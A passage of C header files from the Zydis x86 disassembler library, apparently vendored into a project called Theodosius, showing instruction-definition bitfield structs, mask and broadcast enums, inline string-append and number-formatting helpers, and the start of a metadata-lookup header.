ZYAN_BITS_TO_REPRESENT(ZYDIS_EVEX_STATIC_BROADCAST_MAX_VALUE)
} ZydisEVEXStaticBroadcast;
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisMVEXStaticBroadcast` enum.
*/
typedef enum ZydisMVEXStaticBroadcast_
{
ZYDIS_MVEX_STATIC_BROADCAST_NONE,
ZYDIS_MVEX_STATIC_BROADCAST_1_TO_8,
ZYDIS_MVEX_STATIC_BROADCAST_1_TO_16,
ZYDIS_MVEX_STATIC_BROADCAST_4_TO_8,
ZYDIS_MVEX_STATIC_BROADCAST_4_TO_16,
/**
* Maximum value of this enum.
*/
ZYDIS_MVEX_STATIC_BROADCAST_MAX_VALUE = ZYDIS_MVEX_STATIC_BROADCAST_4_TO_16,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_MVEX_STATIC_BROADCAST_REQUIRED_BITS =
ZYAN_BITS_TO_REPRESENT(ZYDIS_MVEX_STATIC_BROADCAST_MAX_VALUE)
} ZydisMVEXStaticBroadcast;
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisMaskPolicy` enum.
*/
typedef enum ZydisMaskPolicy_
{
ZYDIS_MASK_POLICY_INVALID,
/**
* The instruction accepts mask-registers other than the default-mask (K0), but
* does not require them.
*/
ZYDIS_MASK_POLICY_ALLOWED,
/**
* The instruction requires a mask-register other than the default-mask (K0).
*/
ZYDIS_MASK_POLICY_REQUIRED,
/**
* The instruction does not allow a mask-register other than the default-mask (K0).
*/
ZYDIS_MASK_POLICY_FORBIDDEN,
/**
* Maximum value of this enum.
*/
ZYDIS_MASK_POLICY_MAX_VALUE = ZYDIS_MASK_POLICY_FORBIDDEN,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_MASK_POLICY_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MASK_POLICY_MAX_VALUE)
} ZydisMaskPolicy;
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisMaskOverride` enum.
*/
typedef enum ZydisMaskOverride_
{
ZYDIS_MASK_OVERRIDE_DEFAULT,
ZYDIS_MASK_OVERRIDE_ZEROING,
ZYDIS_MASK_OVERRIDE_CONTROL,
/**
* Maximum value of this enum.
*/
ZYDIS_MASK_OVERRIDE_MAX_VALUE = ZYDIS_MASK_OVERRIDE_CONTROL,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_MASK_OVERRIDE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MASK_OVERRIDE_MAX_VALUE)
} ZydisMaskOverride;
/* ---------------------------------------------------------------------------------------------- */
// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct
// enum types
ZYAN_STATIC_ASSERT(ZYDIS_MNEMONIC_REQUIRED_BITS <= 16);
ZYAN_STATIC_ASSERT(ZYDIS_CATEGORY_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_ISA_SET_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_ISA_EXT_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_BRANCH_TYPE_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_EXCEPTION_CLASS_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_RW_ACTION_REQUIRED_BITS <= 8);
#ifndef ZYDIS_MINIMAL_MODE
# define ZYDIS_INSTRUCTION_DEFINITION_BASE \
ZyanU16 mnemonic ZYAN_BITFIELD(ZYDIS_MNEMONIC_REQUIRED_BITS); \
ZyanU8 operand_count ZYAN_BITFIELD( 4); \
ZyanU16 operand_reference ZYAN_BITFIELD(15); \
ZyanU8 operand_size_map ZYAN_BITFIELD( 3); \
ZyanU8 address_size_map ZYAN_BITFIELD( 2); \
ZyanU8 flags_reference ZYAN_BITFIELD( 7); \
ZyanBool requires_protected_mode ZYAN_BITFIELD( 1); \
ZyanU8 category ZYAN_BITFIELD(ZYDIS_CATEGORY_REQUIRED_BITS); \
ZyanU8 isa_set ZYAN_BITFIELD(ZYDIS_ISA_SET_REQUIRED_BITS); \
ZyanU8 isa_ext ZYAN_BITFIELD(ZYDIS_ISA_EXT_REQUIRED_BITS); \
ZyanU8 branch_type ZYAN_BITFIELD(ZYDIS_BRANCH_TYPE_REQUIRED_BITS); \
ZyanU8 exception_class ZYAN_BITFIELD(ZYDIS_EXCEPTION_CLASS_REQUIRED_BITS); \
ZyanU8 constr_REG ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS); \
ZyanU8 constr_RM ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS); \
ZyanU8 cpu_state ZYAN_BITFIELD(ZYDIS_RW_ACTION_REQUIRED_BITS); \
ZyanU8 fpu_state ZYAN_BITFIELD(ZYDIS_RW_ACTION_REQUIRED_BITS); \
ZyanU8 xmm_state ZYAN_BITFIELD(ZYDIS_RW_ACTION_REQUIRED_BITS)
#else
# define ZYDIS_INSTRUCTION_DEFINITION_BASE \
ZyanU16 mnemonic ZYAN_BITFIELD(ZYDIS_MNEMONIC_REQUIRED_BITS); \
ZyanU8 operand_size_map ZYAN_BITFIELD( 3); \
ZyanU8 address_size_map ZYAN_BITFIELD( 2); \
ZyanBool requires_protected_mode ZYAN_BITFIELD( 1); \
ZyanU8 constr_REG ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS); \
ZyanU8 constr_RM ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS)
#endif
#define ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR \
ZYDIS_INSTRUCTION_DEFINITION_BASE; \
ZyanU8 constr_NDSNDD ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS)
#define ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR_INTEL \
ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR; \
ZyanBool is_gather ZYAN_BITFIELD( 1)
/**
* Defines the `ZydisInstructionDefinition` struct.
*/
typedef struct ZydisInstructionDefinition_
{
ZYDIS_INSTRUCTION_DEFINITION_BASE;
} ZydisInstructionDefinition;
/**
* Defines the `ZydisInstructionDefinitionLEGACY` struct.
*/
typedef struct ZydisInstructionDefinitionLEGACY_
{
ZYDIS_INSTRUCTION_DEFINITION_BASE;
#ifndef ZYDIS_MINIMAL_MODE
ZyanBool is_privileged ZYAN_BITFIELD( 1);
#endif
ZyanBool accepts_LOCK ZYAN_BITFIELD( 1);
#ifndef ZYDIS_MINIMAL_MODE
ZyanBool accepts_REP ZYAN_BITFIELD( 1);
ZyanBool accepts_REPEREPZ ZYAN_BITFIELD( 1);
ZyanBool accepts_REPNEREPNZ ZYAN_BITFIELD( 1);
ZyanBool accepts_BOUND ZYAN_BITFIELD( 1);
ZyanBool accepts_XACQUIRE ZYAN_BITFIELD( 1);
ZyanBool accepts_XRELEASE ZYAN_BITFIELD( 1);
ZyanBool accepts_hle_without_lock ZYAN_BITFIELD( 1);
ZyanBool accepts_branch_hints ZYAN_BITFIELD( 1);
ZyanBool accepts_segment ZYAN_BITFIELD( 1);
#endif
} ZydisInstructionDefinitionLEGACY;
/**
* Defines the `ZydisInstructionDefinition3DNOW` struct.
*/
typedef struct ZydisInstructionDefinition3DNOW_
{
ZYDIS_INSTRUCTION_DEFINITION_BASE;
} ZydisInstructionDefinition3DNOW;
/**
* Defines the `ZydisInstructionDefinitionXOP` struct.
*/
typedef struct ZydisInstructionDefinitionXOP_
{
ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR;
} ZydisInstructionDefinitionXOP;
// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct
// enum types
ZYAN_STATIC_ASSERT(ZYDIS_VEX_STATIC_BROADCAST_REQUIRED_BITS <= 8);
/**
* Defines the `ZydisInstructionDefinitionVEX` struct.
*/
typedef struct ZydisInstructionDefinitionVEX_
{
ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR_INTEL;
#ifndef ZYDIS_MINIMAL_MODE
ZyanU8 broadcast ZYAN_BITFIELD(ZYDIS_VEX_STATIC_BROADCAST_REQUIRED_BITS);
#endif
} ZydisInstructionDefinitionVEX;
#ifndef ZYDIS_DISABLE_AVX512
// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct
// enum types
ZYAN_STATIC_ASSERT(ZYDIS_IVECTOR_LENGTH_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_TUPLETYPE_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_IELEMENT_SIZE_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_EVEX_FUNC_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_MASK_POLICY_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_MASK_OVERRIDE_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_EVEX_STATIC_BROADCAST_REQUIRED_BITS <= 8);
/**
* Defines the `ZydisInstructionDefinitionEVEX` struct.
*/
typedef struct ZydisInstructionDefinitionEVEX_
{
ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR_INTEL;
#ifndef ZYDIS_MINIMAL_MODE
ZyanU8 vector_length ZYAN_BITFIELD(ZYDIS_IVECTOR_LENGTH_REQUIRED_BITS);
ZyanU8 tuple_type ZYAN_BITFIELD(ZYDIS_TUPLETYPE_REQUIRED_BITS);
ZyanU8 element_size ZYAN_BITFIELD(ZYDIS_IELEMENT_SIZE_REQUIRED_BITS);
ZyanU8 functionality ZYAN_BITFIELD(ZYDIS_EVEX_FUNC_REQUIRED_BITS);
#endif
ZyanU8 mask_policy ZYAN_BITFIELD(ZYDIS_MASK_POLICY_REQUIRED_BITS);
ZyanBool accepts_zero_mask ZYAN_BITFIELD( 1);
#ifndef ZYDIS_MINIMAL_MODE
ZyanU8 mask_override ZYAN_BITFIELD(ZYDIS_MASK_OVERRIDE_REQUIRED_BITS);
ZyanU8 broadcast ZYAN_BITFIELD(ZYDIS_EVEX_STATIC_BROADCAST_REQUIRED_BITS);
#endif
} ZydisInstructionDefinitionEVEX;
#endif
#ifndef ZYDIS_DISABLE_KNC
// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct
// enum types
ZYAN_STATIC_ASSERT(ZYDIS_MVEX_FUNC_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_MASK_POLICY_REQUIRED_BITS <= 8);
ZYAN_STATIC_ASSERT(ZYDIS_MVEX_STATIC_BROADCAST_REQUIRED_BITS <= 8);
/**
* Defines the `ZydisInstructionDefinitionMVEX` struct.
*/
typedef struct ZydisInstructionDefinitionMVEX_
{
ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR_INTEL;
ZyanU8 functionality ZYAN_BITFIELD(ZYDIS_MVEX_FUNC_REQUIRED_BITS);
ZyanU8 mask_policy ZYAN_BITFIELD(ZYDIS_MASK_POLICY_REQUIRED_BITS);
#ifndef ZYDIS_MINIMAL_MODE
ZyanBool has_element_granularity ZYAN_BITFIELD( 1);
ZyanU8 broadcast ZYAN_BITFIELD(ZYDIS_MVEX_STATIC_BROADCAST_REQUIRED_BITS);
#endif
} ZydisInstructionDefinitionMVEX;
#endif
/* ---------------------------------------------------------------------------------------------- */
/* Accessed CPU flags */
/* ---------------------------------------------------------------------------------------------- */
typedef struct ZydisAccessedFlags_
{
ZydisCPUFlagAction action[ZYDIS_CPUFLAG_MAX_VALUE + 1];
ZyanU32 cpu_flags_read ZYAN_BITFIELD(22);
ZyanU32 cpu_flags_written ZYAN_BITFIELD(22);
ZyanU8 fpu_flags_read ZYAN_BITFIELD( 4);
ZyanU8 fpu_flags_written ZYAN_BITFIELD( 4);
} ZydisAccessedFlags;
/* ---------------------------------------------------------------------------------------------- */
#pragma pack(pop)
#ifdef ZYAN_MSVC
# pragma warning(pop)
#endif
/* ============================================================================================== */
/* Functions */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Instruction definition */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns the instruction-definition with the given `encoding` and `id`.
*
* @param encoding The instruction-encoding.
* @param id The definition-id.
* @param definition A pointer to the variable that receives a pointer to the instruction-
* definition.
*/
ZYDIS_NO_EXPORT void ZydisGetInstructionDefinition(ZydisInstructionEncoding encoding,
ZyanU16 id, const ZydisInstructionDefinition** definition);
/* ---------------------------------------------------------------------------------------------- */
/* Operand definition */
/* ---------------------------------------------------------------------------------------------- */
#ifndef ZYDIS_MINIMAL_MODE
/**
* Returns the the operand-definitions for the given instruction-`definition`.
*
* @param definition A pointer to the instruction-definition.
* @param operand A pointer to the variable that receives a pointer to the first operand-
* definition of the instruction.
*
* @return The number of operands for the given instruction-definition.
*/
ZYDIS_NO_EXPORT ZyanU8 ZydisGetOperandDefinitions(const ZydisInstructionDefinition* definition,
const ZydisOperandDefinition** operand);
#endif
/* ---------------------------------------------------------------------------------------------- */
/* Element info */
/* ---------------------------------------------------------------------------------------------- */
#ifndef ZYDIS_MINIMAL_MODE
/**
* Returns the actual type and size of an internal element-type.
*
* @param element The internal element type.
* @param type The actual element type.
* @param size The element size.
*/
ZYDIS_NO_EXPORT void ZydisGetElementInfo(ZydisInternalElementType element, ZydisElementType* type,
ZydisElementSize* size);
#endif
/* ---------------------------------------------------------------------------------------------- */
/* Accessed CPU flags */
/* ---------------------------------------------------------------------------------------------- */
#ifndef ZYDIS_MINIMAL_MODE
/**
* Returns the the operand-definitions for the given instruction-`definition`.
*
* @param definition A pointer to the instruction-definition.
* @param flags A pointer to the variable that receives the `ZydisAccessedFlags` struct.
*
* @return `ZYAN_TRUE`, if the instruction accesses any flags, or `ZYAN_FALSE`, if not.
*/
ZYDIS_NO_EXPORT ZyanBool ZydisGetAccessedFlags(const ZydisInstructionDefinition* definition,
const ZydisAccessedFlags** flags);
#endif
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYDIS_INTERNAL_SHAREDDATA_H */

464
Theodosius/Zydis/Internal/String.h
Unescape View File

@ -0,0 +1,464 @@
/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd, Joel Hoener
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Provides some internal, more performant, but unsafe helper functions for the `ZyanString`
* data-type.
*
* Most of these functions are very similar to the ones in `Zycore/String.h`, but inlined and
* without optional overhead like parameter-validation checks, etc ...
*
* The `ZyanString` data-type is able to dynamically allocate memory on the heap, but as `Zydis` is
* designed to be a non-'malloc'ing library, all functions in this file assume that the instances
* they are operating on are created with a user-defined static-buffer.
*/
#ifndef ZYDIS_INTERNAL_STRING_H
#define ZYDIS_INTERNAL_STRING_H
#include <Zycore/LibC.h>
#include <Zycore/String.h>
#include <Zycore/Types.h>
#include <Zycore/Format.h>
#include <Zydis/ShortString.h>
#include <Zydis/Status.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Letter Case */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisLetterCase` enum.
*/
typedef enum ZydisLetterCase_
{
/**
* Uses the given text "as is".
*/
ZYDIS_LETTER_CASE_DEFAULT,
/**
* Converts the given text to lowercase letters.
*/
ZYDIS_LETTER_CASE_LOWER,
/**
* Converts the given text to uppercase letters.
*/
ZYDIS_LETTER_CASE_UPPER,
/**
* Maximum value of this enum.
*/
ZYDIS_LETTER_CASE_MAX_VALUE = ZYDIS_LETTER_CASE_UPPER,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_LETTER_CASE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_LETTER_CASE_MAX_VALUE)
} ZydisLetterCase;
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Macros */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Internal macros */
/* ---------------------------------------------------------------------------------------------- */
/**
* Checks for a terminating '\0' character at the end of the string data.
*/
#define ZYDIS_STRING_ASSERT_NULLTERMINATION(string) \
ZYAN_ASSERT(*(char*)((ZyanU8*)(string)->vector.data + (string)->vector.size - 1) == '\0');
/**
* Writes a terminating '\0' character at the end of the string data.
*/
#define ZYDIS_STRING_NULLTERMINATE(string) \
*(char*)((ZyanU8*)(string)->vector.data + (string)->vector.size - 1) = '\0';
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Internal Functions */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Appending */
/* ---------------------------------------------------------------------------------------------- */
/**
* Appends the content of the source string to the end of the destination string.
*
* @param destination The destination string.
* @param source The source string.
*
* @return A zyan status code.
*/
ZYAN_INLINE ZyanStatus ZydisStringAppend(ZyanString* destination, const ZyanStringView* source)
{
ZYAN_ASSERT(destination && source);
ZYAN_ASSERT(!destination->vector.allocator);
ZYAN_ASSERT(destination->vector.size && source->string.vector.size);
if (destination->vector.size + source->string.vector.size - 1 > destination->vector.capacity)
{
return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE;
}
ZYAN_MEMCPY((char*)destination->vector.data + destination->vector.size - 1,
source->string.vector.data, source->string.vector.size - 1);
destination->vector.size += source->string.vector.size - 1;
ZYDIS_STRING_NULLTERMINATE(destination);
return ZYAN_STATUS_SUCCESS;
}
/**
* Appends the content of the source string to the end of the destination
* string, converting the characters to the specified letter-case.
*
* @param destination The destination string.
* @param source The source string.
* @param letter_case The desired letter-case.
*
* @return A zyan status code.
*/
ZYAN_INLINE ZyanStatus ZydisStringAppendCase(ZyanString* destination, const ZyanStringView* source,
ZydisLetterCase letter_case)
{
ZYAN_ASSERT(destination && source);
ZYAN_ASSERT(!destination->vector.allocator);
ZYAN_ASSERT(destination->vector.size && source->string.vector.size);
if (destination->vector.size + source->string.vector.size - 1 > destination->vector.capacity)
{
return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE;
}
ZYAN_MEMCPY((char*)destination->vector.data + destination->vector.size - 1,
source->string.vector.data, source->string.vector.size - 1);
switch (letter_case)
{
case ZYDIS_LETTER_CASE_DEFAULT:
break;
case ZYDIS_LETTER_CASE_LOWER:
{
const ZyanUSize index = destination->vector.size - 1;
const ZyanUSize count = source->string.vector.size - 1;
char* s = (char*)destination->vector.data + index;
for (ZyanUSize i = index; i < index + count; ++i)
{
const char c = *s;
if ((c >= 'A') && (c <= 'Z'))
{
*s = c | 32;
}
++s;
}
break;
}
case ZYDIS_LETTER_CASE_UPPER:
{
const ZyanUSize index = destination->vector.size - 1;
const ZyanUSize count = source->string.vector.size - 1;
char* s = (char*)destination->vector.data + index;
for (ZyanUSize i = index; i < index + count; ++i)
{
const char c = *s;
if ((c >= 'a') && (c <= 'z'))
{
*s = c & ~32;
}
++s;
}
break;
}
default:
ZYAN_UNREACHABLE;
}
destination->vector.size += source->string.vector.size - 1;
ZYDIS_STRING_NULLTERMINATE(destination);
return ZYAN_STATUS_SUCCESS;
}
/**
* Appends the content of the source short-string to the end of the destination string.
*
* @param destination The destination string.
* @param source The source string.
*
* @return A zyan status code.
*/
ZYAN_INLINE ZyanStatus ZydisStringAppendShort(ZyanString* destination,
const ZydisShortString* source)
{
ZYAN_ASSERT(destination && source);
ZYAN_ASSERT(!destination->vector.allocator);
ZYAN_ASSERT(destination->vector.size && source->size);
if (destination->vector.size + source->size > destination->vector.capacity)
{
return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE;
}
ZYAN_MEMCPY((char*)destination->vector.data + destination->vector.size - 1, source->data,
(ZyanUSize)source->size + 1);
destination->vector.size += source->size;
ZYDIS_STRING_ASSERT_NULLTERMINATION(destination);
return ZYAN_STATUS_SUCCESS;
}
/**
* Appends the content of the source short-string to the end of the destination string,
* converting the characters to the specified letter-case.
*
* @param destination The destination string.
* @param source The source string.
* @param letter_case The desired letter-case.
*
* @return A zyan status code.
*/
ZYAN_INLINE ZyanStatus ZydisStringAppendShortCase(ZyanString* destination,
const ZydisShortString* source, ZydisLetterCase letter_case)
{
ZYAN_ASSERT(destination && source);
ZYAN_ASSERT(!destination->vector.allocator);
ZYAN_ASSERT(destination->vector.size && source->size);
if (destination->vector.size + source->size > destination->vector.capacity)
{
return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE;
}
ZYAN_MEMCPY((char*)destination->vector.data + destination->vector.size - 1, source->data,
(ZyanUSize)source->size + 1);
switch (letter_case)
{
case ZYDIS_LETTER_CASE_DEFAULT:
break;
case ZYDIS_LETTER_CASE_LOWER:
{
const ZyanUSize index = destination->vector.size - 1;
const ZyanUSize count = source->size;
char* s = (char*)destination->vector.data + index;
for (ZyanUSize i = index; i < index + count; ++i)
{
const char c = *s;
if ((c >= 'A') && (c <= 'Z'))
{
*s = c | 32;
}
++s;
}
break;
}
case ZYDIS_LETTER_CASE_UPPER:
{
const ZyanUSize index = destination->vector.size - 1;
const ZyanUSize count = source->size;
char* s = (char*)destination->vector.data + index;
for (ZyanUSize i = index; i < index + count; ++i)
{
const char c = *s;
if ((c >= 'a') && (c <= 'z'))
{
*s = c & ~32;
}
++s;
}
break;
}
default:
ZYAN_UNREACHABLE;
}
destination->vector.size += source->size;
ZYDIS_STRING_ASSERT_NULLTERMINATION(destination);
return ZYAN_STATUS_SUCCESS;
}
/* ---------------------------------------------------------------------------------------------- */
/* Formatting */
/* ---------------------------------------------------------------------------------------------- */
/**
* Formats the given unsigned ordinal `value` to its decimal text-representation and
* appends it to the `string`.
*
* @param string A pointer to the `ZyanString` instance.
* @param value The value.
* @param padding_length Padds the converted value with leading zeros, if the number of chars is
* less than the `padding_length`.
* @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed.
* @param suffix The string to use as suffix or `ZYAN_NULL`, if not needed.
*
* @return A zyan status code.
*
* This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified
* `ZyanString` instance.
*/
ZyanStatus ZydisStringAppendDecU(ZyanString* string, ZyanU64 value, ZyanU8 padding_length,
const ZyanStringView* prefix, const ZyanStringView* suffix);
/**
* Formats the given signed ordinal `value` to its decimal text-representation and
* appends it to the `string`.
*
* @param string A pointer to the `ZyanString` instance.
* @param value The value.
* @param padding_length Padds the converted value with leading zeros, if the number of chars is
* less than the `padding_length`.
* @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers.
* @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed.
* @param suffix The string to use as suffix or `ZYAN_NULL`, if not needed.
*
* @return A zyan status code.
*
* This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified
* `ZyanString` instance.
*/
ZYAN_INLINE ZyanStatus ZydisStringAppendDecS(ZyanString* string, ZyanI64 value,
ZyanU8 padding_length, ZyanBool force_sign, const ZyanStringView* prefix,
const ZyanStringView* suffix)
{
static const ZydisShortString str_add = ZYDIS_MAKE_SHORTSTRING("+");
static const ZydisShortString str_sub = ZYDIS_MAKE_SHORTSTRING("-");
if (value < 0)
{
ZYAN_CHECK(ZydisStringAppendShort(string, &str_sub));
if (prefix)
{
ZYAN_CHECK(ZydisStringAppend(string, prefix));
}
return ZydisStringAppendDecU(string, ZyanAbsI64(value), padding_length,
(const ZyanStringView*)ZYAN_NULL, suffix);
}
if (force_sign)
{
ZYAN_ASSERT(value >= 0);
ZYAN_CHECK(ZydisStringAppendShort(string, &str_add));
}
return ZydisStringAppendDecU(string, value, padding_length, prefix, suffix);
}
/**
* Formats the given unsigned ordinal `value` to its hexadecimal text-representation and
* appends it to the `string`.
*
* @param string A pointer to the `ZyanString` instance.
* @param value The value.
* @param padding_length Padds the converted value with leading zeros, if the number of chars is
* less than the `padding_length`.
* @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase
* ones ('a'-'f').
* @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed.
* @param suffix The string to use as suffix or `ZYAN_NULL`, if not needed.
*
* @return A zyan status code.
*
* This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified
* `ZyanString` instance.
*/
ZyanStatus ZydisStringAppendHexU(ZyanString* string, ZyanU64 value, ZyanU8 padding_length,
ZyanBool uppercase, const ZyanStringView* prefix, const ZyanStringView* suffix);
/**
* Formats the given signed ordinal `value` to its hexadecimal text-representation and
* appends it to the `string`.
*
* @param string A pointer to the string.
* @param value The value.
* @param padding_length Padds the converted value with leading zeros, if the number of chars is
* less than the `padding_length` (the sign char is ignored).
* @param uppercase Set `ZYAN_TRUE` to print the hexadecimal value in uppercase letters
* instead of lowercase ones.
* @param force_sign Set to `ZYAN_TRUE`, to force printing of the `+` sign for positive
* numbers.
* @param prefix The string to use as prefix or `NULL`, if not needed.
* @param suffix The string to use as suffix or `NULL`, if not needed.
*
* @return `ZYAN_STATUS_SUCCESS`, if the function succeeded, or
* `ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE`, if the size of the buffer was not
* sufficient to append the given `value`.
*
* The string-buffer pointer is increased by the number of chars written, if the call was
* successful.
*/
ZYAN_INLINE ZyanStatus ZydisStringAppendHexS(ZyanString* string, ZyanI64 value,
ZyanU8 padding_length, ZyanBool uppercase, ZyanBool force_sign, const ZyanStringView* prefix,
const ZyanStringView* suffix)
{
static const ZydisShortString str_add = ZYDIS_MAKE_SHORTSTRING("+");
static const ZydisShortString str_sub = ZYDIS_MAKE_SHORTSTRING("-");
if (value < 0)
{
ZYAN_CHECK(ZydisStringAppendShort(string, &str_sub));
if (prefix)
{
ZYAN_CHECK(ZydisStringAppend(string, prefix));
}
return ZydisStringAppendHexU(string, ZyanAbsI64(value), padding_length, uppercase,
(const ZyanStringView*)ZYAN_NULL, suffix);
}
if (force_sign)
{
ZYAN_ASSERT(value >= 0);
ZYAN_CHECK(ZydisStringAppendShort(string, &str_add));
}
return ZydisStringAppendHexU(string, value, padding_length, uppercase, prefix, suffix);
}
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif // ZYDIS_INTERNAL_STRING_H

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Theodosius/Zydis/MetaInfo.h
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/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* @brief
*/
#ifndef ZYDIS_METAINFO_H
#define ZYDIS_METAINFO_H
#include <ZydisExportConfig.h>
#include <Zycore/Defines.h>
#include <Zycore/Types.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
#include <Zydis/Generated/EnumInstructionCategory.h>
#include <Zydis/Generated/EnumISASet.h>
#include <Zydis/Generated/EnumISAExt.h>
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/**
* Returns the specified instruction category string.
*
* @param category The instruction category.
*
* @return The instruction category string or `ZYAN_NULL`, if an invalid category was passed.
*/
ZYDIS_EXPORT const char* ZydisCategoryGetString(ZydisInstructionCategory category);
/**
* Returns the specified isa-set string.
*
* @param isa_set The isa-set.
*
* @return The isa-set string or `ZYAN_NULL`, if an invalid isa-set was passed.
*/
ZYDIS_EXPORT const char* ZydisISASetGetString(ZydisISASet isa_set);
/**
* Returns the specified isa-extension string.
*
* @param isa_ext The isa-extension.
*
* @return The isa-extension string or `ZYAN_NULL`, if an invalid isa-extension was passed.
*/
